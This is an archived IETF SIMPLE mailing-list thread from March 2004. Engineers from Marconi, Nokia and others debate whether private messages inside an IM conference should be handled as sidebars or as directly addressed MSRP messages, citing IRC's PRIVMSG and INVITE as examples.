Received: from uspitsmsgrtr01.pit.comms.marconi.com (uspitsmsgrtr01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id BAA13178;
	Tue, 2 Mar 2004 01:14:12 -0500 (EST)
Received: by uspitsmsgrtr01.pit.comms.marconi.com with Internet Mail Service (5.5.2653.19)
	id <GDP2Y9D6>; Tue, 2 Mar 2004 01:14:11 -0500
Message-ID: <313680C9A886D511A06000204840E1CF070B6488@whq-msgusr-02.pit.comms.marconi.com>
From: "Rosen, Brian" <Brian.Rosen@marconi.com>
To: "'Niemi Aki (Nokia-M/Espoo)'" <aki.niemi@nokia.com>
Cc: ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>, Markus.Isomaki@nokia.com,
        pkyzivat@cisco.com, hisham.khartabil@nokia.com,
        Miguel.An.Garcia@nokia.com, simple@ietf.org
Subject: RE: [Simple] Chat sessions
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 01:14:07 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60

> I think what you're referring to is a private sidebar. Being able to 
> receive a private message sent inside a conference (or a 
> sidebar) would 
> require no additional action from the recipient, whereas setting up a 
> private sidebar requires that the invitee also agrees to have the 
> sidebar, joins it etc.
I don't understand this differentiation.  You can define systems
that require the user to agree in advance to some kind of communication,
or you can design them so that they don't need to agree before hand.

I can design a sidebar system that requires you to agree to participate,
and I can design an IM system that requires you to agree to participate.
Conversely, I can design systems for IM or voice that does not.
I have AIM set to require my consent before I receive a message from
someone not on my buddy list.  I could easily want such a feature
for a "private message".  Conversely, I might accept a whisper from
another participant in a conference without consent.

What you want is the logical equivalent of altering the mixing
function so that a subset of the users get the message.  I don't
see why that is different from a sidebar, or whisper.

> 
> > Consider a push to talk one-on-one voice connection within 
> a conference.
> > That's pretty close to a private message.  If I implemented 
> that, how would
> > you want me to do it?  As a sidebar?  As a media policy 
> manipulation?
> > How about the "whisper" function in a call center.  Same thing.
> 
> Of course you can't do private messages with voice. Voice and IM are 
> inherently different. You can't send private voice packets to another 
> participant of a conference, simply because there isn't a way 
> to single 
> out a participant in a conference by directly addressing 
> packets there. 
> It also makes mixing really complicated, because a private 
> voice stream 
> might overlap with the rest of the conference. These don't present a 
> problem for IM; the sender can single out the recipient using 
> the cpim 
> To header field and the recipient UA can simply mark a message as 
> private and render it to the same UI as the rest of the IMs in that 
> conference.
I protest.  There is no logical difference.  There is no protocol
difference.  In most cases, there is no practical difference.  You
send media to some address, you get media from some address.  You
render it.  IM or voice or video is all just media, and its handled
the same way.  You might have "centralized" or "distributed" mixers.
Most IM systems, as implemented, are centralized mixers.  You send
all media to the mixer, it sends media to you.  There is nothing
special with IM.  You need some signaling for a private message.
You can use the same signaling for a sidebar or a whisper.

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Tue Mar  2 01:19:22 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA05444
	for <simple-archive@odin.ietf.org>; Tue, 2 Mar 2004 01:19:22 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3Ez-0006Fs-UD
	for simple-archive@odin.ietf.org; Tue, 02 Mar 2004 01:18:53 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i226Ir4L024038
	for simple-archive@odin.ietf.org; Tue, 2 Mar 2004 01:18:53 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3Ez-0006Fd-Qf
	for simple-web-archive@optimus.ietf.org; Tue, 02 Mar 2004 01:18:53 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA05415
	for <simple-web-archive@ietf.org>; Tue, 2 Mar 2004 01:18:51 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3Ew-0004Nr-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 01:18:50 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay3Dm-0004CO-00
	for simple-web-archive@ietf.org; Tue, 02 Mar 2004 01:17:39 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3D9-00043I-00; Tue, 02 Mar 2004 01:16:59 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3DB-0005lc-Cp; Tue, 02 Mar 2004 01:17:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3CS-0005XA-9B
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 01:16:16 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA05196
	for <simple@ietf.org>; Tue, 2 Mar 2004 01:16:14 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3CP-000412-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:16:13 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay3BY-0003vV-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:15:20 -0500
Received: from mailgate.pit.comms.marconi.com ([169.144.68.6])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3B8-0003pb-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:14:54 -0500
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.12.10+Sun/8.12.10) with ESMTP id i226ECaZ029492;
	Tue, 2 Mar 2004 01:14:12 -0500 (EST)
Received: from uspitsmsgrtr01.pit.comms.marconi.com (uspitsmsgrtr01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id BAA13178;
	Tue, 2 Mar 2004 01:14:12 -0500 (EST)
Received: by uspitsmsgrtr01.pit.comms.marconi.com with Internet Mail Service (5.5.2653.19)
	id <GDP2Y9D6>; Tue, 2 Mar 2004 01:14:11 -0500
Message-ID: <313680C9A886D511A06000204840E1CF070B6488@whq-msgusr-02.pit.comms.marconi.com>
From: "Rosen, Brian" <Brian.Rosen@marconi.com>
To: "'Niemi Aki (Nokia-M/Espoo)'" <aki.niemi@nokia.com>
Cc: ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>, Markus.Isomaki@nokia.com,
        pkyzivat@cisco.com, hisham.khartabil@nokia.com,
        Miguel.An.Garcia@nokia.com, simple@ietf.org
Subject: RE: [Simple] Chat sessions
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 01:14:07 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60

> I think what you're referring to is a private sidebar. Being able to 
> receive a private message sent inside a conference (or a 
> sidebar) would 
> require no additional action from the recipient, whereas setting up a 
> private sidebar requires that the invitee also agrees to have the 
> sidebar, joins it etc.
I don't understand this differentiation.  You can define systems
that require the user to agree in advance to some kind of communication,
or you can design them so that they don't need to agree before hand.

I can design a sidebar system that requires you to agree to participate,
and I can design an IM system that requires you to agree to participate.
Conversely, I can design systems for IM or voice that does not.
I have AIM set to require my consent before I receive a message from
someone not on my buddy list.  I could easily want such a feature
for a "private message".  Conversely, I might accept a whisper from
another participant in a conference without consent.

What you want is the logical equivalent of altering the mixing
function so that a subset of the users get the message.  I don't
see why that is different from a sidebar, or whisper.

> 
> > Consider a push to talk one-on-one voice connection within 
> a conference.
> > That's pretty close to a private message.  If I implemented 
> that, how would
> > you want me to do it?  As a sidebar?  As a media policy 
> manipulation?
> > How about the "whisper" function in a call center.  Same thing.
> 
> Of course you can't do private messages with voice. Voice and IM are 
> inherently different. You can't send private voice packets to another 
> participant of a conference, simply because there isn't a way 
> to single 
> out a participant in a conference by directly addressing 
> packets there. 
> It also makes mixing really complicated, because a private 
> voice stream 
> might overlap with the rest of the conference. These don't present a 
> problem for IM; the sender can single out the recipient using 
> the cpim 
> To header field and the recipient UA can simply mark a message as 
> private and render it to the same UI as the rest of the IMs in that 
> conference.
I protest.  There is no logical difference.  There is no protocol
difference.  In most cases, there is no practical difference.  You
send media to some address, you get media from some address.  You
render it.  IM or voice or video is all just media, and its handled
the same way.  You might have "centralized" or "distributed" mixers.
Most IM systems, as implemented, are centralized mixers.  You send
all media to the mixer, it sends media to you.  There is nothing
special with IM.  You need some signaling for a private message.
You can use the same signaling for a sidebar or a whisper.

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Tue Mar  2 01:39:20 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA06418
	for <simple-archive@ietf.org>; Tue, 2 Mar 2004 01:39:20 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3Yl-0006tv-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 01:39:19 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay3Xq-0006nX-00
	for simple-archive@ietf.org; Tue, 02 Mar 2004 01:38:24 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3XZ-0006h5-00; Tue, 02 Mar 2004 01:38:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3XX-0008Ga-AS; Tue, 02 Mar 2004 01:38:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Ay3Wt-00084I-5d
	for simple@optimus.ietf.org; Tue, 02 Mar 2004 01:37:23 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA06341
	for <simple@ietf.org>; Tue, 2 Mar 2004 01:37:21 -0500 (EST)
From: hisham.khartabil@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3Wq-0006fI-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:37:20 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Ay3W3-0006YR-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:36:33 -0500
Received: from mgw-x2.nokia.com ([131.228.20.22])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Ay3VD-0006QR-00
	for simple@ietf.org; Tue, 02 Mar 2004 01:35:40 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x2.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i226ZUL23386;
	Tue, 2 Mar 2004 08:35:30 +0200 (EET)
X-Scanned: Tue, 2 Mar 2004 08:35:21 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i226ZLLj013596;
	Tue, 2 Mar 2004 08:35:21 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks001.ntc.nokia.com 002NY0Ly; Tue, 02 Mar 2004 08:35:20 EET
Received: from esebh003.NOE.Nokia.com (esebh003.ntc.nokia.com [172.21.138.82])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i226ZKO14975;
	Tue, 2 Mar 2004 08:35:20 +0200 (EET)
Received: from esebe019.NOE.Nokia.com ([172.21.138.58]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Tue, 2 Mar 2004 08:35:20 +0200
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] Chat sessions
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
Message-ID: <2038BCC78B1AD641891A0D1AE133DBB70179780F@esebe019.ntc.nokia.com>
Thread-Topic: [Simple] Chat sessions
Thread-Index: AcQAD/Tfq8BZrPj4TS2KINYQDNyBqQAD1MwQ
To: <Brian.Rosen@marconi.com>, <Miguel.An.Garcia@nokia.com>,
        <Markus.Isomaki@nokia.com>
Cc: <aki.niemi@nokia.com>, <jdrosen@dynamicsoft.com>, <pkyzivat@cisco.com>,
        <simple@ietf.org>
X-OriginalArrivalTime: 02 Mar 2004 06:35:20.0685 (UTC) FILETIME=[88C609D0:01C40020]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 08:35:19 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable

How about this:

You are in a chat conference and you want to send a private message to 1 =
or more participants. If you expect to have side conversation (more than =
1 message exchanged), then you create a side bar.

If you want to send a one-off message to some of the participants, then =
you send a SIP MESSAGE request to the focus using exploder techniques =
where the recipients addresses are carried in the MESSAGE itself. This =
introduces 2 problems:

1. How can the MESSAGE be related to the conference? This info can be =
carried in a header of the MESSAGE. Haven't thought what header yet.
2. If users are using nicknames (whatever that means, my definition here =
means that users are hiding their real identity), then the conference =
focus needs to find for which conference this private message is =
intended for participants in, using 1 above, and explode to them.

Of course, we just use MSRP within the existing session and avoid the 2 =
problems above. I believe this is what Aki, Markus and Miguel are trying =
to solve. It is really just like a page mode IM to participants in the =
conference.

Thanks,
Hisham

> -----Original Message-----
> From: ext Rosen, Brian [mailto:Brian.Rosen@marconi.com]
> Sent: 02.March.2004 06:34
> To: Garcia Miguel.An (Nokia-NRC/Helsinki); Isomaki Markus
> (Nokia-NRC/Helsinki)
> Cc: Niemi Aki (Nokia-M/Espoo); jdrosen@dynamicsoft.com;
> pkyzivat@cisco.com; Khartabil Hisham (Nokia-TP-MSW/Helsinki);
> simple@ietf.org
> Subject: RE: [Simple] Chat sessions
>=20
>=20
> Doesn't work for me; you don't need a resource URI for a=20
> sidebar.  You might
> be
> able to use one, but its not necessary.  The only characteristic of a
> sidebar
> that matters is that the media goes to a subset of participants.
>=20
> You need some identifier in all cases. =20
>=20
> Let me push this in another direction.
>=20
> What makes a private message different from an instant=20
> message to a totally
> arbitrary person (not related to the main conference)?  Is it=20
> just that the
> set of possible destinations is limited to those in the main=20
> conference?
> Why is that interesting in a protocol sense?
>=20
> Brian
>=20
> > -----Original Message-----
> > From: Miguel Garcia [mailto:Miguel.An.Garcia@nokia.com]
> > Sent: Monday, March 01, 2004 9:29 PM
> > To: Isomaki Markus (Nokia-NRC/Helsinki)
> > Cc: ext Rosen, Brian; Niemi Aki (Nokia-M/Espoo);
> > jdrosen@dynamicsoft.com; pkyzivat@cisco.com; Khartabil Hisham
> > (Nokia-TP-MSW/Helsinki); simple@ietf.org
> > Subject: Re: [Simple] Chat sessions
> >=20
> >=20
> > Folks, what about this one:
> >=20
> > A sidebar conference is a temporary scoped subconference. By=20
> > temporary=20
> > scoped I mean it exists  (has an associated resource URI) for some=20
> > duration time. The participants may or may not be part of the main=20
> > conference. Messages are addressed to the sidebar conference, in a=20
> > similar way a message is addressed to the conference. The=20
> > sender may or=20
> > may not know who are the members of the sidebar conference.
> >=20
> > A private message is not temporary scoped and it is not=20
> > identified by a=20
> > resource URI. Unlike sidebar conferences, the participants=20
> > are a subset=20
> > of the conference. Unlike sidebar conferences, private messages are=20
> > addressed to each of the receivers, since there is not a resource=20
> > associated with it. The sender has to explicitly define the=20
> > receivers of=20
> > the message.
> >=20
> > Miguel
> >=20
> > Isomaki Markus (Nokia-NRC/Helsinki) wrote:
> >=20
> > > Hi,
> > >=20
> > > I don't see us getting to agreement here... Still, see below:
> > >=20
> > >=20
> > >>-----Original Message-----
> > >>From: ext Rosen, Brian [mailto:Brian.Rosen@marconi.com]
> > >>Sent: 02 March, 2004 03:35
> > >>To: Isomaki Markus (Nokia-NRC/Helsinki); Niemi Aki (Nokia-M/Espoo)
> > >>Cc: jdrosen@dynamicsoft.com; pkyzivat@cisco.com; Khartabil Hisham
> > >>(Nokia-TP-MSW/Helsinki); Garcia Miguel.An (Nokia-NRC/Helsinki);
> > >>simple@ietf.org
> > >>Subject: RE: [Simple] Chat sessions
> > >>
> > >>
> > >>What is the difference between a sidebar and a private message?
> > >>
> > >>I think the ONLY difference is the number of people involved.
> > >>
> > >>A sidebar is two or more.  A private message is exactly two.
> > >>
> > >=20
> > >=20
> > > I don't think we need to limit the number of recipients for=20
> > the private message. The only thing is that they need to be=20
> > conference participants.
> > >=20
> > >=20
> > >>There is NO other meaningful difference.
> > >>
> > >>Your argument on overhead is directly comparable to the argument
> > >>we went through when we defined sidebars as separate sessions.
> > >>I argued that we should NOT create a separate session, but
> > >>simply alter the media policy appropriately.  You are simply
> > >>repeating the arguments I made.
> > >>
> > >>I lost that argument. =20
> > >>
> > >=20
> > >=20
> > > My comment to that is that there are differences in medias=20
> > that should be taken into account. As you see in the example=20
> > I made, having only one solution leads to hugely unoptimal system.=20
> > >=20
> > >=20
> > >>Brian
> > >>
> > >>
> > >>>-----Original Message-----
> > >>>From: Markus.Isomaki@nokia.com [mailto:Markus.Isomaki@nokia.com]
> > >>>Sent: Monday, March 01, 2004 8:16 PM
> > >>>To: Brian.Rosen@marconi.com; aki.niemi@nokia.com
> > >>>Cc: jdrosen@dynamicsoft.com; pkyzivat@cisco.com;
> > >>>hisham.khartabil@nokia.com; Miguel.An.Garcia@nokia.com;=20
> > >>>simple@ietf.org
> > >>>Subject: RE: [Simple] Chat sessions
> > >>>
> > >>>
> > >>>Hi,
> > >>>
> > >>>It seems we are not getting the message through ;)
> > >>>
> > >>>Let's see how sending a private message looks like as a=20
> > >>>sidebar vs. as proposed in the current draft. The case is=20
> > >>>this: Users A and B participate in the same conference, A=20
> > >>>wants to send a private message to B.
> > >>>
> > >>>Sidebar case would be roughly like this:
> > >>>1. A creates a conference for a sidebar using INVITE
> > >>>   - new MSRP session is established between A and the new=20
> > >>>focus instance
> > >>>2. A refers B to that conference
> > >>>3. B joins the conference
> > >>>   - new MSRP session is established
> > >>>4. A sends MSRP SEND request to the conference
> > >>>5. focus forwards it to B
> > >>>6. A sends BYE
> > >>>7. focus sends BYE to B
> > >>>
> > >>>If B replies after 10 seconds, the whole process is followed=20
> > >>>again from 1 to 7.
> > >>>
> > >>>Private message case:
> > >>>1. A sends private message targeted to B over an existing=20
> > >>
> > >>MSRP session
> > >>
> > >>>2. focus forwards it to B
> > >>>
> > >>>So which solution would you like to adopt?=20
> > >>>
> > >>>Markus
> > >>>
> > >>>
> > >>>
> > >>>>-----Original Message-----
> > >>>>From: ext Rosen, Brian [mailto:Brian.Rosen@marconi.com]
> > >>>>Sent: 01 March, 2004 12:41
> > >>>>To: Niemi Aki (Nokia-M/Espoo)
> > >>>>Cc: ext Jonathan Rosenberg; Isomaki Markus (Nokia-NRC/Helsinki);
> > >>>>pkyzivat@cisco.com; Khartabil Hisham=20
> > >>
> > >>(Nokia-TP-MSW/Helsinki); Garcia
> > >>
> > >>>>Miguel.An (Nokia-NRC/Helsinki); simple@ietf.org
> > >>>>Subject: RE: [Simple] Chat sessions
> > >>>>
> > >>>>
> > >>>>Aki
> > >>>>
> > >>>>My post was meant to point out that we had decided to=20
> > >>>>implement sidebars
> > >>>>as separate dialogs from main conferences, which is similar=20
> > >>>
> > >>>to making
> > >>>
> > >>>>"private messages" separate dialogs from a main IM=20
> > >>
> > >>dialog.  In that
> > >>
> > >>>>way, I think that sidebars and private messages are the=20
> > >>>
> > >>>same; they are
> > >>>
> > >>>>media sent to a subset of participants in the group.  If there
> > >>>>is a reason to allow a special way to subset destinations for a
> > >>>>private message rather than the entire chat group, then whatever
> > >>>>argument you make would apply to a sidebar. =20
> > >>>>
> > >>>>Brian
> > >>>>
> > >>>>
> > >>>>>-----Original Message-----
> > >>>>>From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
> > >>>>>Sent: Monday, March 01, 2004 2:58 AM
> > >>>>>To: ext Rosen, Brian
> > >>>>>Cc: ext Jonathan Rosenberg; Markus.Isomaki@nokia.com;
> > >>>>>pkyzivat@cisco.com; hisham.khartabil@nokia.com;
> > >>>>>Miguel.An.Garcia@nokia.com; simple@ietf.org
> > >>>>>Subject: Re: [Simple] Chat sessions
> > >>>>>
> > >>>>>
> > >>>>>Brian,
> > >>>>>
> > >>>>>I've never argued for private messages over sidebars. I still=20
> > >>>>>maintain=20
> > >>>>>that sidebars and private messages are different and=20
> > >>>>
> > >>>>*complimentary*=20
> > >>>>
> > >>>>>features, and that we need *both* to have a complete=20
> > >>>>
> > >>>>solution for IM=20
> > >>>>
> > >>>>>conferences.
> > >>>>>
> > >>>>>Cheers,
> > >>>>>Aki
> > >>>>>
> > >>>>>ext Rosen, Brian wrote:
> > >>>>>
> > >>>>>>Aki
> > >>>>>>
> > >>>>>>When we were discussing sidebars, I made arguments like=20
> > >>>>>
> > >>>>>this against making
> > >>>>>
> > >>>>>>a sidebar
> > >>>>>>a separate session.  Sidebars, I argued, are just media=20
> > >>>>>
> > >>>>>(mixing) changes,
> > >>>>>
> > >>>>>>they have
> > >>>>>>nothing to do with session management.
> > >>>>>>
> > >>>>>>I lost this argument, and I will be very unhappy if IM=20
> > >>>>>
> > >>>>>works differently.
> > >>>>>
> > >>>>>>One of
> > >>>>>>the reasons I lost it was the observation that a sidebar=20
> > >>>>>
> > >>>>>could include
> > >>>>>
> > >>>>>>participants
> > >>>>>>who are not main conference participants.  I think you have=20
> > >>>>>
> > >>>>>the same issue
> > >>>>>
> > >>>>>>here.
> > >>>>>>
> > >>>>>>Brian
> > >>>>>>
> > >>>>>>
> > >>>>>>
> > >>>>>>>-----Original Message-----
> > >>>>>>>From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
> > >>>>>>>Sent: Sunday, February 29, 2004 12:40 PM
> > >>>>>>>To: ext Jonathan Rosenberg
> > >>>>>>>Cc: Markus.Isomaki@nokia.com; Brian.Rosen@marconi.com;
> > >>>>>>>pkyzivat@cisco.com; hisham.khartabil@nokia.com;
> > >>>>>>>Miguel.An.Garcia@nokia.com; simple@ietf.org
> > >>>>>>>Subject: Re: [Simple] Chat sessions
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>ext Jonathan Rosenberg wrote:
> > >>>>>>><snip />
> > >>>>>>>
> > >>>>>>>>>3. As Aki explained, sidebars and private IMs within a=20
> > >>>>
> > >>>>conference=20
> > >>>>
> > >>>>>>>>>are two different things. Sidebars are subconferences,=20
> > >>>>>
> > >>>>>that include
> > >>>>>
> > >>>>>>>>>a certain subset of the participants in the main=20
> > >>>>>
> > >>>>>conference. They=20
> > >>>>>
> > >>>>>>>>>need to be explicitly created and deleted. Private=20
> > >>>
> > >>>IMs within a=20
> > >>>
> > >>>>>>>>>conference are also targeted to a subset of the conference=20
> > >>>>>>>>>participants. But there is no need to setup a sidebar or=20
> > >>>>>
> > >>>>>any other=20
> > >>>>>
> > >>>>>>>>>additional context to send them. The recipients can=20
> > >>
> > >>simply be=20
> > >>
> > >>>>>>>>>signaled within each message (as proposed by using CPIM=20
> > >>>>>
> > >>>>>To header).
> > >>>>>
> > >>>>>>>>>This seems to be a specific property of IM, as=20
> > >>
> > >>this sort of=20
> > >>
> > >>>>>>>>>addressing would be impossible e.g. in RTP. In=20
> > >>
> > >>theory priate=20
> > >>
> > >>>>>>>>>messaging facility could be supported by sidebars, but in=20
> > >>>>>
> > >>>>>this case
> > >>>>>
> > >>>>>>>>>the focus would need to have as many sidebars constantly=20
> > >>>>>
> > >>>>>setup, as
> > >>>>>
> > >>>>>>>>>there are different possible participant subset=20
> > >>>>>
> > >>>>>combinations. Way=20
> > >>>>>
> > >>>>>>>>>too complex and not needed.
> > >>>>>>>>
> > >>>>>>>>
> > >>>>>>>>I dont think that, functionally, what you are describing is=20
> > >>>>>>>
> > >>>>>>>different
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>>from a sidebar. What differs is that the specifics of=20
> > >>>>
> > >>>>this media=20
> > >>>>
> > >>>>>>>>type allow for a more efficient implementation of the=20
> > >>>>
> > >>>>sidebar than=20
> > >>>>
> > >>>>>>>>would be possible for another media type, such as audio.=20
> > >>>>>>>
> > >>>>>>>Indeed, the=20
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>>same is true for IM in general - why set up a session (ala=20
> > >>>>>>>
> > >>>>>>>msrp) when
> > >>>>>>>
> > >>>>>>>
> > >>>>>>>>you can just send a pager mode?
> > >>>>>>>
> > >>>>>>>The ultimate proof of difference in functionality is=20
> > >>>
> > >>>that private
> > >>>
> > >>>>>>>messages are usable and useful in a sidebar - in fact=20
> > >>>
> > >>>it makes no
> > >>>
> > >>>>>>>difference whether they're sent within the context of a=20
> > >>>>>
> > >>>>>conference, a
> > >>>>>
> > >>>>>>>conference sidebar, or a sidebar of a conference sidebar.
> > >>>>>>>
> > >>>>>>>Let me provide a concrete example of an already existing=20
> > >>>>>
> > >>>>>service (IRC)
> > >>>>>
> > >>>>>>>that has what I think is a close approximation of both=20
> > >>>
> > >>>sidebar and
> > >>>
> > >>>>>>>private message functionality. (BTW, I feel strongly=20
> > >>>
> > >>>that if MSRP
> > >>>
> > >>>>>>>conferences aren't as feature rich as IRC is, and=20
> provide the=20
> > >>>>>>>same user
> > >>>>>>>experience, we've failed miserably.)
> > >>>>>>>
> > >>>>>>>Channels in IRC have identities, e.g., #helsinki, and=20
> > >>>>>>>participant lists
> > >>>>>>>that are delivered in a very similar manner that the=20
> > >>>>
> > >>>>conference-info
> > >>>>
> > >>>>>>>events would be delivered. Users join these channels=20
> > >>>>
> > >>>>using JOIN, at
> > >>>>
> > >>>>>>>which time they get the participant list, and after that,=20
> > >>>>>>>updates e.g.,
> > >>>>>>>whenever anyone leaves or joins the channel.
> > >>>>>>>
> > >>>>>>>Users can send private messages to the other participants in=20
> > >>>>>>>the channel:
> > >>>>>>>
> > >>>>>>>	PRIVMSG foobar :Some nick you got there foobar!
> > >>>>>>>
> > >>>>>>>Usually, these messages are displayed in the same pane as=20
> > >>>>>
> > >>>>>the rest of
> > >>>>>
> > >>>>>>>the channel's messages, including information about the=20
> > >>>
> > >>>sender but
> > >>>
> > >>>>>>>marked accordingly as private.
> > >>>>>>>
> > >>>>>>>A user can also invite others to a sidebar of sorts, that=20
> > >>>>
> > >>>>is, a new
> > >>>>
> > >>>>>>>channel, whose properties can be set such that it can=20
> > >>>
> > >>>be joined by
> > >>>
> > >>>>>>>invitation only.
> > >>>>>>>
> > >>>>>>>	INVITE FunnyNick #my_channel
> > >>>>>>>	INVITE BeerLover #my_channel
